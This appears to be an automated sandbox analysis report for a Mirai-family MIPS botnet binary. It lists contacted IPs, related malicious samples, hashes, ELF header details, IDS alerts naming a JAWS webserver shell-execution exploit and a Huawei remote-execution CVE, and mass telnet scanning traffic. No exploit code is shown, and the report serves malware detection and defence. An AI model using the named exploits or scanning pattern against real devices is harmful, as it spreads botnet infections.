175.92.147.17	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
205.241.200.187	unknown	United States	3364	CSDCO-ASUS	false
173.229.97.57	unknown	United States	6128	CABLE-NET-1US	false
41.143.204.137	unknown	Morocco	36903	MT-MPLSMA	false
79.118.113.175	unknown	Romania	8708	RCS-RDS73-75DrStaicoviciRO	false
197.223.37.57	unknown	Egypt	37069	MOBINILEG	false
197.5.249.155	unknown	Tunisia	5438	ATI-TN	false
161.12.105.130	unknown	United Kingdom	61231	SSE-TELECOMSGB	false
128.219.29.11	unknown	United States	50	ORNL-MSRNETUS	false
41.198.207.239	unknown	South Africa	327693	ECHO-SPZA	false
123.146.163.153	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
126.110.61.235	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
41.142.174.189	unknown	Morocco	36903	MT-MPLSMA	false
190.43.153.193	unknown	Peru	6147	TelefonicadelPeruSAAPE	false
41.36.218.227	unknown	Egypt	8452	TE-ASTE-ASEG	false
37.86.118.125	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
149.201.100.43	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
156.223.192.118	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.116.172.22	unknown	Algeria	36947	ALGTEL-ASDZ	false
120.195.24.81	unknown	China	56046	CMNET-JIANGSU-APChinaMobilecommunicationscorporationCN	false
149.171.50.219	unknown	Australia	23859	UNSW-AS-APUniversityofNewSouthWalesAU	false
201.177.4.221	unknown	Argentina	22927	TelefonicadeArgentinaAR	false
65.166.57.240	unknown	United States	12115	FNI-STLUS	false
197.207.57.204	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.220.189.32	unknown	Ghana	37341	GLOMOBILEGH	false
5.238.202.15	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
178.153.199.212	unknown	Qatar	42298	GCC-MPLS-PEERINGGCCMPLSpeeringQA	false
41.51.170.21	unknown	South Africa	37168	CELL-CZA	false
197.46.129.70	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.23.213.140	unknown	Tunisia	37693	TUNISIANATN	false
132.159.141.133	unknown	United States	1451	DNIC-ASBLK-01451-01456US	false
156.230.19.174	unknown	Seychelles	135357	SKHT-ASShenzhenKatherineHengTechnologyInformationCo	false
158.153.1.92	unknown	United States	2529	DEMON-INTERNETNowmaintainedbyCableWirelessWorldwide	false
156.249.231.160	unknown	Seychelles	26484	IKGUL-26484US	false
197.140.232.169	unknown	Algeria	36891	ICOSNET-ASDZ	false
209.169.211.185	unknown	United States	11232	MIDCO-NETUS	false
156.97.30.175	unknown	Chile	393504	XNSTGCA	false
160.144.254.73	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
98.242.12.167	unknown	United States	7922	COMCAST-7922US	false
45.111.113.87	unknown	Egypt	37069	MOBINILEG	false
37.239.89.81	unknown	Iraq	50710	EARTHLINK-ASIQ	false
37.208.249.50	unknown	Qatar	42298	GCC-MPLS-PEERINGGCCMPLSpeeringQA	false
153.51.249.251	unknown	United States	14962	NCR-252US	false
181.116.130.211	unknown	Argentina	11664	TechtelLMDSComunicacionesInteractivasSAAR	false
94.150.243.147	unknown	Denmark	9158	TELENOR_DANMARK_ASDK	false
19.5.44.6	unknown	United States	3	MIT-GATEWAYSUS	false
52.121.36.34	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
212.8.62.180	unknown	Ukraine	9202	ZSSM-ASUA	false
168.128.153.255	unknown	South Africa	27435	OPSOURCE-INCUS	false
197.28.210.165	unknown	Tunisia	37492	ORANGE-TN	false
87.244.125.0	unknown	Jersey	8681	JTJE	false
61.107.113.133	unknown	Korea Republic of	9457	DREAMX-ASDREAMLINECOKR	false
179.108.128.61	unknown	Brazil	262973	MaxTelecomunicacoesLtdaBR	false
82.177.119.71	unknown	Poland	209073	ZINK-ASPL	false
75.231.199.170	unknown	United States	22394	CELLCOUS	false
54.221.108.31	unknown	United States	14618	AMAZON-AESUS	false
118.91.253.56	unknown	China	38525	NETSOFT-AS-IDNetsoftPTID	false
154.207.164.57	unknown	Seychelles	134548	DXTL-HKDXTLTseungKwanOServiceHK	false
178.78.83.194	unknown	United Kingdom	12390	KINGSTON-UK-ASGB	false
44.46.250.44	unknown	United States	7377	UCSDUS	false
202.155.217.217	unknown	Hong Kong	9381	HKBNES-AS-APHKBNEnterpriseSolutionsHKLimitedHK	false
123.173.89.231	unknown	China	4809	CHINATELECOM-CORE-WAN-CN2ChinaTelecomNextGenerationCarr	false
44.255.221.171	unknown	United States	16509	AMAZON-02US	false
41.54.60.153	unknown	South Africa	37168	CELL-CZA	false
156.222.154.27	unknown	Egypt	8452	TE-ASTE-ASEG	true
156.10.149.138	unknown	Finland	39098	BOF-ASFI	false
156.76.161.116	unknown	United States	6341	WIECUS	false
185.234.46.218	unknown	Germany	204975	BERTIN-IT-ASFR	false
47.84.237.153	unknown	United States	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
97.23.253.176	unknown	United States	22394	CELLCOUS	false
41.122.213.94	unknown	South Africa	16637	MTNNS-ASZA	false
133.141.167.151	unknown	Japan	18097	DCNDCNCorporationJP	false
197.66.206.39	unknown	South Africa	16637	MTNNS-ASZA	false
2.229.196.147	unknown	Italy	12874	FASTWEBIT	false
81.89.137.22	unknown	United Kingdom	25022	TDMGROUPGB	false
46.199.187.189	unknown	Cyprus	6866	CYTA-NETWORKInternetServicesCY	false
197.33.61.62	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.208.228.171	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.254.144.49	unknown	Lesotho	37057	VODACOM-LESOTHOLS	false
139.118.24.181	unknown	Norway	5619	EVRY-NO	false
14.239.124.73	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
2.158.131.155	unknown	Italy	24608	WINDTRE-ASIT	false
173.67.252.224	unknown	United States	701	UUNETUS	false
24.215.142.232	unknown	United States	12271	TWC-12271-NYCUS	false
208.253.166.36	unknown	United States	4208	THE-ISERV-COMPANYUS	false
212.8.62.121	unknown	Ukraine	9202	ZSSM-ASUA	false
212.143.221.210	unknown	Israel	1680	NV-ASNCELLCOMltdIL	false
37.94.133.163	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
202.238.145.146	unknown	Japan	2497	IIJInternetInitiativeJapanIncJP	false
165.227.55.106	unknown	United States	14061	DIGITALOCEAN-ASNUS	false
202.70.36.154	unknown	Mongolia	17882	ASN-MCS-APAS-MCS-APCONVERTEDTOASN-MCS-APFORRPSLCOMP	false
197.153.12.67	unknown	Morocco	36925	ASMediMA	false
142.60.198.201	unknown	Canada	54605	EIPS-14CA	false
126.196.66.50	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
92.174.233.6	unknown	France	3215	FranceTelecom-OrangeFR	false
37.186.50.104	unknown	Qatar	48728	VODAFONEQATARQA	false
177.88.147.73	unknown	Brazil	53237	TELECOMUNICACOESBRASILEIRASSA-TELEBRASBR	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
197.240.131.145	yonariVpu7.elf	Get hash	malicious	Mirai	Browse
41.143.204.137	mips.elf	Get hash	malicious	Mirai	Browse
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse
	b3astmode.arm.elf	Get hash	malicious	Mirai	Browse
	1JFq3jfiXe	Get hash	malicious	Gafgyt, Mirai	Browse
	biZjXNfZ0Z	Get hash	malicious	Mirai	Browse
	EQLEecdwV4	Get hash	malicious	Mirai	Browse
	lAe63MagsK	Get hash	malicious	Mirai	Browse
79.118.113.175	BYk3mRCK5H	Get hash	malicious	Mirai	Browse
197.223.37.57	nullnet_load.arm.elf	Get hash	malicious	Mirai	Browse
	armv5l.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	lB9ZXOQaP3.elf	Get hash	malicious	Mirai	Browse
	xarm7.elf	Get hash	malicious	Mirai	Browse
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse
	yakuza.x86	Get hash	malicious	Unknown	Browse
197.5.249.155	i686.elf	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
QTSC-AS-VNQuangTrungSoftwareCityDevelopmentCompanyVN	m68k.elf	Get hash	malicious	Unknown	Browse	202.78.227.73
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	202.78.227.88
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	120.72.111.37
	1C24THP_00000244.pdf.exe	Get hash	malicious	AgentTesla	Browse	103.45.229.85
	NGL 700800.exe	Get hash	malicious	FormBook	Browse	116.193.69.142
	SOA 020724.exe	Get hash	malicious	FormBook	Browse	116.193.69.142
	Inquiry No PJO-4010574.exe	Get hash	malicious	FormBook	Browse	116.193.69.142
	RITS Ref 3379-06.exe	Get hash	malicious	FormBook	Browse	116.193.69.142
	NGL 3200-Phase 2- Strainer.exe	Get hash	malicious	FormBook	Browse	116.193.69.142
	M.R NO. 1212-00-RE-REQ-649-01.scr.exe	Get hash	malicious	FormBook	Browse	116.193.69.142
TOPNETTN	sora.mips.elf	Get hash	malicious	Mirai	Browse	41.226.167.10
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	41.226.118.40
	spc.elf	Get hash	malicious	Mirai, Moobot	Browse	197.0.117.144
	sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	197.0.117.158
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	197.240.131.185
	ppc.elf	Get hash	malicious	Mirai, Moobot	Browse	197.240.205.95
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	197.240.81.247
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	197.240.81.232
	debug.dbg.elf	Get hash	malicious	Mirai, Moobot	Browse	197.0.78.214
	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	41.226.179.51
COMCAST-7922US	telnet.arm.elf	Get hash	malicious	Gafgyt, Mirai	Browse	173.160.97.39
	telnet.x86.elf	Get hash	malicious	Gafgyt, Mirai	Browse	23.30.255.234
	telnet.arm7.elf	Get hash	malicious	Gafgyt, Mirai	Browse	50.167.97.46
	telnet.m68k.elf	Get hash	malicious	Gafgyt, Mirai	Browse	25.88.162.22
	telnet.mips.elf	Get hash	malicious	Gafgyt, Mirai	Browse	98.201.244.135
	telnet.sh4.elf	Get hash	malicious	Gafgyt, Mirai	Browse	76.112.130.195
	telnet.mpsl.elf	Get hash	malicious	Gafgyt, Mirai	Browse	98.39.250.70
	sora.mpsl.elf	Get hash	malicious	Mirai	Browse	174.55.9.75
	sora.arm.elf	Get hash	malicious	Mirai	Browse	174.171.83.61
	sora.m68k.elf	Get hash	malicious	Mirai	Browse	96.150.105.255

File type:	ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, no section header
Entropy (8bit):	7.920341010996644
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	boatnet.mips.elf
File size:	35'340 bytes
MD5:	5fa448eea7882878f2cd6b3f95f03b4d
SHA1:	ea362d1efec710494439d73d95e0206d31d6104e
SHA256:	d6cd24b9a13a5c13f39d99bb38819eff21758e569d1646b9d2f1d117d1866720
SHA512:	3c234c92a310ef3798e133e580b2332d91887c9cabbaa2584606397beed0940c63e3f330df123d7a89d4419c5775fac7fb807115a74750ea96f55235409666c0
SSDEEP:	768:/QTnE8obQIh86WT7C0oMHXsnOK2YB8xC2zJgGlzDpbuR1Jx:/SnEdhXMoMHcnEYB5qVJuL
TLSH:	D3F2D0AF19029289F7E9C0FCCBC457AB2B605B5A24238C4E49BCB8C68F5A17564536E4
File Content Preview:	.ELF......................u....4.........4. ...(.............................................E...E...................h.=UPX!.h.........`...`.......U.......?.E.h4...@b..) ..]....E..KX6.;.\.Z=.k`N.,...........J........I.....W..">................qP..........

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x107590
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	2
Section Header Offset:	0
Section Header Size:	40
Number of Section Headers:	0
Header String Table Index:	0

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Prog Interpreter	Section Mappings
LOAD	0x0	0x100000	0x100000	0x88d4	0x88d4	7.9233	0x5	R E	0x10000
LOAD	0x9bb8	0x459bb8	0x459bb8	0x0	0x0	0.0000	0x6	RW	0x10000

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-30T10:43:01.155496+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	34554	117.47.93.92	443	TCP
2025-01-30T10:43:02.632208+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	60200	191.252.94.92	80	TCP
2025-01-30T10:43:02.632208+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	60200	191.252.94.92	80	TCP
2025-01-30T10:43:07.151030+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	51918	64.110.107.109	80	TCP
2025-01-30T10:43:07.151030+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	51918	64.110.107.109	80	TCP
2025-01-30T10:43:09.197465+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33892	156.231.1.6	37215	TCP
2025-01-30T10:43:12.776526+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	37368	172.87.219.38	80	TCP
2025-01-30T10:43:12.776526+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	37368	172.87.219.38	80	TCP
2025-01-30T10:43:15.037154+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	49166	129.69.90.222	80	TCP
2025-01-30T10:43:15.037154+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	49166	129.69.90.222	80	TCP
2025-01-30T10:43:16.498143+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	39900	41.77.144.211	80	TCP
2025-01-30T10:43:16.498143+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	39900	41.77.144.211	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 30, 2025 10:42:58.080172062 CET	38884	23	192.168.2.13	183.244.94.92
Jan 30, 2025 10:42:58.080224037 CET	38884	23	192.168.2.13	116.42.227.92
Jan 30, 2025 10:42:58.080228090 CET	38884	23	192.168.2.13	63.32.59.22
Jan 30, 2025 10:42:58.080241919 CET	38884	23	192.168.2.13	23.13.99.188
Jan 30, 2025 10:42:58.080241919 CET	38884	23	192.168.2.13	208.15.64.159
Jan 30, 2025 10:42:58.080260038 CET	38884	23	192.168.2.13	131.232.126.255
Jan 30, 2025 10:42:58.080266953 CET	38884	23	192.168.2.13	65.132.133.102
Jan 30, 2025 10:42:58.080266953 CET	38884	23	192.168.2.13	110.235.214.238
Jan 30, 2025 10:42:58.080274105 CET	38884	23	192.168.2.13	13.207.10.40
Jan 30, 2025 10:42:58.080281019 CET	38884	23	192.168.2.13	150.111.21.145
Jan 30, 2025 10:42:58.080284119 CET	38884	23	192.168.2.13	93.14.194.70
Jan 30, 2025 10:42:58.080300093 CET	38884	23	192.168.2.13	39.87.5.151
Jan 30, 2025 10:42:58.080306053 CET	38884	23	192.168.2.13	78.87.239.212
Jan 30, 2025 10:42:58.080310106 CET	38884	23	192.168.2.13	60.56.222.7
Jan 30, 2025 10:42:58.080312014 CET	38884	23	192.168.2.13	112.115.182.38
Jan 30, 2025 10:42:58.080317020 CET	38884	23	192.168.2.13	24.147.106.45
Jan 30, 2025 10:42:58.080323935 CET	38884	23	192.168.2.13	117.189.223.250
Jan 30, 2025 10:42:58.080337048 CET	38884	23	192.168.2.13	170.182.14.66
Jan 30, 2025 10:42:58.080343008 CET	38884	23	192.168.2.13	164.242.148.95
Jan 30, 2025 10:42:58.080344915 CET	38884	23	192.168.2.13	186.137.108.73
Jan 30, 2025 10:42:58.080353975 CET	38884	23	192.168.2.13	183.184.36.193
Jan 30, 2025 10:42:58.080383062 CET	38884	23	192.168.2.13	100.139.127.148
Jan 30, 2025 10:42:58.080408096 CET	38884	23	192.168.2.13	222.251.203.218
Jan 30, 2025 10:42:58.080409050 CET	38884	23	192.168.2.13	8.33.139.200
Jan 30, 2025 10:42:58.080409050 CET	38884	23	192.168.2.13	138.96.198.53
Jan 30, 2025 10:42:58.080410957 CET	38884	23	192.168.2.13	47.180.166.186
Jan 30, 2025 10:42:58.080411911 CET	38884	23	192.168.2.13	165.189.203.132
Jan 30, 2025 10:42:58.080415964 CET	38884	23	192.168.2.13	183.156.135.130
Jan 30, 2025 10:42:58.080421925 CET	38884	23	192.168.2.13	119.106.117.163
Jan 30, 2025 10:42:58.080446005 CET	38884	23	192.168.2.13	145.186.17.166
Jan 30, 2025 10:42:58.080461025 CET	38884	23	192.168.2.13	198.23.41.130
Jan 30, 2025 10:42:58.080461025 CET	38884	23	192.168.2.13	177.252.133.222
Jan 30, 2025 10:42:58.080471992 CET	38884	23	192.168.2.13	212.179.37.162
Jan 30, 2025 10:42:58.080472946 CET	38884	23	192.168.2.13	61.38.251.161
Jan 30, 2025 10:42:58.080475092 CET	38884	23	192.168.2.13	190.152.225.44
Jan 30, 2025 10:42:58.080499887 CET	38884	23	192.168.2.13	216.134.201.22
Jan 30, 2025 10:42:58.080501080 CET	38884	23	192.168.2.13	110.2.50.60
Jan 30, 2025 10:42:58.080514908 CET	38884	23	192.168.2.13	184.159.212.120
Jan 30, 2025 10:42:58.080514908 CET	38884	23	192.168.2.13	166.52.97.209
Jan 30, 2025 10:42:58.080527067 CET	38884	23	192.168.2.13	132.151.221.240
Jan 30, 2025 10:42:58.080539942 CET	38884	23	192.168.2.13	69.212.141.19
Jan 30, 2025 10:42:58.080569029 CET	38884	23	192.168.2.13	42.243.228.158
Jan 30, 2025 10:42:58.080607891 CET	38884	23	192.168.2.13	212.112.8.160
Jan 30, 2025 10:42:58.080611944 CET	38884	23	192.168.2.13	37.86.58.14
Jan 30, 2025 10:42:58.080614090 CET	38884	23	192.168.2.13	159.60.134.244
Jan 30, 2025 10:42:58.080615044 CET	38884	23	192.168.2.13	106.214.158.142
Jan 30, 2025 10:42:58.080619097 CET	38884	23	192.168.2.13	187.57.161.135
Jan 30, 2025 10:42:58.080619097 CET	38884	23	192.168.2.13	191.171.171.145
Jan 30, 2025 10:42:58.080619097 CET	38884	23	192.168.2.13	9.93.147.20
Jan 30, 2025 10:42:58.080619097 CET	38884	23	192.168.2.13	17.161.84.176
Jan 30, 2025 10:42:58.080645084 CET	38884	23	192.168.2.13	105.10.200.237
Jan 30, 2025 10:42:58.080646992 CET	38884	23	192.168.2.13	64.113.69.209
Jan 30, 2025 10:42:58.080646992 CET	38884	23	192.168.2.13	137.21.34.231
Jan 30, 2025 10:42:58.080648899 CET	38884	23	192.168.2.13	131.168.102.108
Jan 30, 2025 10:42:58.080656052 CET	38884	23	192.168.2.13	34.255.22.4
Jan 30, 2025 10:42:58.080667973 CET	38884	23	192.168.2.13	205.161.9.227
Jan 30, 2025 10:42:58.080667973 CET	38884	23	192.168.2.13	134.53.129.122
Jan 30, 2025 10:42:58.080668926 CET	38884	23	192.168.2.13	76.158.142.31
Jan 30, 2025 10:42:58.080668926 CET	38884	23	192.168.2.13	201.19.100.163
Jan 30, 2025 10:42:58.080672026 CET	38884	23	192.168.2.13	196.160.135.6
Jan 30, 2025 10:42:58.080668926 CET	38884	23	192.168.2.13	168.13.123.168
Jan 30, 2025 10:42:58.080681086 CET	38884	23	192.168.2.13	50.251.82.83
Jan 30, 2025 10:42:58.080682039 CET	38884	23	192.168.2.13	175.11.200.179
Jan 30, 2025 10:42:58.080682039 CET	38884	23	192.168.2.13	96.199.71.245
Jan 30, 2025 10:42:58.080682039 CET	38884	23	192.168.2.13	138.109.236.201
Jan 30, 2025 10:42:58.080687046 CET	38884	23	192.168.2.13	73.18.19.59
Jan 30, 2025 10:42:58.080696106 CET	38884	23	192.168.2.13	84.134.212.135
Jan 30, 2025 10:42:58.080696106 CET	38884	23	192.168.2.13	218.218.61.235
Jan 30, 2025 10:42:58.080702066 CET	38884	23	192.168.2.13	38.57.165.195
Jan 30, 2025 10:42:58.080702066 CET	38884	23	192.168.2.13	68.42.210.225
Jan 30, 2025 10:42:58.080707073 CET	38884	23	192.168.2.13	202.199.177.209
Jan 30, 2025 10:42:58.080707073 CET	38884	23	192.168.2.13	44.158.103.37
Jan 30, 2025 10:42:58.080707073 CET	38884	23	192.168.2.13	82.206.253.218
Jan 30, 2025 10:42:58.080708981 CET	38884	23	192.168.2.13	76.22.175.208
Jan 30, 2025 10:42:58.080712080 CET	38884	23	192.168.2.13	79.168.215.107
Jan 30, 2025 10:42:58.080712080 CET	38884	23	192.168.2.13	164.140.84.229
Jan 30, 2025 10:42:58.080715895 CET	38884	23	192.168.2.13	124.172.6.201
Jan 30, 2025 10:42:58.080727100 CET	38884	23	192.168.2.13	130.96.21.12
Jan 30, 2025 10:42:58.080727100 CET	38884	23	192.168.2.13	91.240.205.120
Jan 30, 2025 10:42:58.080728054 CET	38884	23	192.168.2.13	178.204.191.229
Jan 30, 2025 10:42:58.080728054 CET	38884	23	192.168.2.13	42.126.42.151
Jan 30, 2025 10:42:58.080728054 CET	38884	23	192.168.2.13	100.190.9.1
Jan 30, 2025 10:42:58.080728054 CET	38884	23	192.168.2.13	175.120.183.15
Jan 30, 2025 10:42:58.080728054 CET	38884	23	192.168.2.13	164.187.218.16
Jan 30, 2025 10:42:58.080732107 CET	38884	23	192.168.2.13	79.122.160.106
Jan 30, 2025 10:42:58.080732107 CET	38884	23	192.168.2.13	220.123.153.225
Jan 30, 2025 10:42:58.080732107 CET	38884	23	192.168.2.13	220.124.30.85
Jan 30, 2025 10:42:58.080733061 CET	38884	23	192.168.2.13	113.194.242.63
Jan 30, 2025 10:42:58.080733061 CET	38884	23	192.168.2.13	130.201.191.218
Jan 30, 2025 10:42:58.080733061 CET	38884	23	192.168.2.13	132.169.103.200
Jan 30, 2025 10:42:58.080733061 CET	38884	23	192.168.2.13	68.127.240.222
Jan 30, 2025 10:42:58.080749035 CET	38884	23	192.168.2.13	44.66.221.150
Jan 30, 2025 10:42:58.080760002 CET	38884	23	192.168.2.13	68.117.250.229
Jan 30, 2025 10:42:58.080760956 CET	38884	23	192.168.2.13	120.237.204.49
Jan 30, 2025 10:42:58.080765009 CET	38884	23	192.168.2.13	46.26.121.103
Jan 30, 2025 10:42:58.080765963 CET	38884	23	192.168.2.13	65.176.116.132
Jan 30, 2025 10:42:58.080775976 CET	38884	23	192.168.2.13	187.39.5.245
Jan 30, 2025 10:42:58.080780029 CET	38884	23	192.168.2.13	180.58.35.230
Jan 30, 2025 10:42:58.080792904 CET	38884	23	192.168.2.13	137.58.36.113
Jan 30, 2025 10:42:58.080799103 CET	38884	23	192.168.2.13	180.80.197.159
Jan 30, 2025 10:42:58.080811977 CET	38884	23	192.168.2.13	84.41.2.189
Jan 30, 2025 10:42:58.080816984 CET	38884	23	192.168.2.13	38.240.226.29
Jan 30, 2025 10:42:58.080830097 CET	38884	23	192.168.2.13	43.157.235.252
Jan 30, 2025 10:42:58.080847025 CET	38884	23	192.168.2.13	87.115.220.141
Jan 30, 2025 10:42:58.080847025 CET	38884	23	192.168.2.13	128.226.27.202
Jan 30, 2025 10:42:58.080847979 CET	38884	23	192.168.2.13	221.144.13.76
Jan 30, 2025 10:42:58.080847979 CET	38884	23	192.168.2.13	193.160.83.197
Jan 30, 2025 10:42:58.080847979 CET	38884	23	192.168.2.13	141.250.116.87
Jan 30, 2025 10:42:58.080851078 CET	38884	23	192.168.2.13	41.41.134.200
Jan 30, 2025 10:42:58.080864906 CET	38884	23	192.168.2.13	87.89.23.214
Jan 30, 2025 10:42:58.080874920 CET	38884	23	192.168.2.13	149.237.94.241
Jan 30, 2025 10:42:58.080888033 CET	38884	23	192.168.2.13	73.194.195.182
Jan 30, 2025 10:42:58.080893993 CET	38884	23	192.168.2.13	77.6.38.222
Jan 30, 2025 10:42:58.080900908 CET	38884	23	192.168.2.13	74.223.19.152
Jan 30, 2025 10:42:58.080903053 CET	38884	23	192.168.2.13	159.203.230.2
Jan 30, 2025 10:42:58.080914021 CET	38884	23	192.168.2.13	75.38.35.84
Jan 30, 2025 10:42:58.080929041 CET	38884	23	192.168.2.13	192.181.45.243
Jan 30, 2025 10:42:58.080934048 CET	38884	23	192.168.2.13	167.253.216.16
Jan 30, 2025 10:42:58.080940962 CET	38884	23	192.168.2.13	125.153.47.247
Jan 30, 2025 10:42:58.080945015 CET	38884	23	192.168.2.13	132.23.182.226
Jan 30, 2025 10:42:58.080952883 CET	38884	23	192.168.2.13	131.186.92.5
Jan 30, 2025 10:42:58.080981016 CET	38884	23	192.168.2.13	169.222.221.197
Jan 30, 2025 10:42:58.080992937 CET	38884	23	192.168.2.13	54.157.172.86
Jan 30, 2025 10:42:58.080992937 CET	38884	23	192.168.2.13	73.42.252.0
Jan 30, 2025 10:42:58.081001043 CET	38884	23	192.168.2.13	19.182.13.235
Jan 30, 2025 10:42:58.081001997 CET	38884	23	192.168.2.13	47.67.210.161
Jan 30, 2025 10:42:58.081002951 CET	38884	23	192.168.2.13	52.84.53.156
Jan 30, 2025 10:42:58.081017017 CET	38884	23	192.168.2.13	123.122.207.201
Jan 30, 2025 10:42:58.081018925 CET	38884	23	192.168.2.13	148.36.113.94
Jan 30, 2025 10:42:58.081018925 CET	38884	23	192.168.2.13	116.55.227.147
Jan 30, 2025 10:42:58.081028938 CET	38884	23	192.168.2.13	217.90.235.236
Jan 30, 2025 10:42:58.081034899 CET	38884	23	192.168.2.13	195.215.43.214
Jan 30, 2025 10:42:58.081037998 CET	38884	23	192.168.2.13	117.195.204.17
Jan 30, 2025 10:42:58.081051111 CET	38884	23	192.168.2.13	79.234.252.202
Jan 30, 2025 10:42:58.081052065 CET	38884	23	192.168.2.13	154.100.123.185
Jan 30, 2025 10:42:58.081056118 CET	38884	23	192.168.2.13	69.134.210.230
Jan 30, 2025 10:42:58.081058025 CET	38884	23	192.168.2.13	193.23.59.206
Jan 30, 2025 10:42:58.081068993 CET	38884	23	192.168.2.13	164.160.153.150
Jan 30, 2025 10:42:58.081078053 CET	38884	23	192.168.2.13	125.163.201.55
Jan 30, 2025 10:42:58.081082106 CET	38884	23	192.168.2.13	27.22.41.187
Jan 30, 2025 10:42:58.081088066 CET	38884	23	192.168.2.13	128.91.190.16
Jan 30, 2025 10:42:58.081100941 CET	38884	23	192.168.2.13	137.83.32.46
Jan 30, 2025 10:42:58.081104994 CET	38884	23	192.168.2.13	19.132.163.124
Jan 30, 2025 10:42:58.081113100 CET	38884	23	192.168.2.13	201.215.134.236
Jan 30, 2025 10:42:58.081113100 CET	38884	23	192.168.2.13	190.99.46.77
Jan 30, 2025 10:42:58.081116915 CET	38884	23	192.168.2.13	98.88.47.245
Jan 30, 2025 10:42:58.081120968 CET	38884	23	192.168.2.13	4.72.68.58
Jan 30, 2025 10:42:58.081136942 CET	38884	23	192.168.2.13	114.124.60.145
Jan 30, 2025 10:42:58.081136942 CET	38884	23	192.168.2.13	96.71.20.248
Jan 30, 2025 10:42:58.081135988 CET	38884	23	192.168.2.13	37.239.88.106
Jan 30, 2025 10:42:58.081149101 CET	38884	23	192.168.2.13	35.174.249.19
Jan 30, 2025 10:42:58.081156015 CET	38884	23	192.168.2.13	176.250.69.254
Jan 30, 2025 10:42:58.081156015 CET	38884	23	192.168.2.13	139.20.75.15
Jan 30, 2025 10:42:58.081165075 CET	38884	23	192.168.2.13	72.203.105.197
Jan 30, 2025 10:42:58.081165075 CET	38884	23	192.168.2.13	219.162.62.222
Jan 30, 2025 10:42:58.081175089 CET	38884	23	192.168.2.13	168.59.227.0
Jan 30, 2025 10:42:58.081175089 CET	38884	23	192.168.2.13	98.9.94.146
Jan 30, 2025 10:42:58.081182003 CET	38884	23	192.168.2.13	208.31.229.220
Jan 30, 2025 10:42:58.081204891 CET	38884	23	192.168.2.13	34.47.251.237
Jan 30, 2025 10:42:58.081223011 CET	38884	23	192.168.2.13	181.55.85.20
Jan 30, 2025 10:42:58.081228018 CET	38884	23	192.168.2.13	172.252.20.206
Jan 30, 2025 10:42:58.081238985 CET	38884	23	192.168.2.13	191.23.213.29
Jan 30, 2025 10:42:58.081238985 CET	38884	23	192.168.2.13	108.92.123.183
Jan 30, 2025 10:42:58.081250906 CET	38884	23	192.168.2.13	149.183.33.161
Jan 30, 2025 10:42:58.081252098 CET	38884	23	192.168.2.13	156.12.160.141
Jan 30, 2025 10:42:58.081252098 CET	38884	23	192.168.2.13	154.223.42.156
Jan 30, 2025 10:42:58.081265926 CET	38884	23	192.168.2.13	222.113.180.153
Jan 30, 2025 10:42:58.081267118 CET	38884	23	192.168.2.13	134.238.238.176
Jan 30, 2025 10:42:58.081269026 CET	38884	23	192.168.2.13	189.91.128.14
Jan 30, 2025 10:42:58.081295967 CET	38884	23	192.168.2.13	61.35.138.55
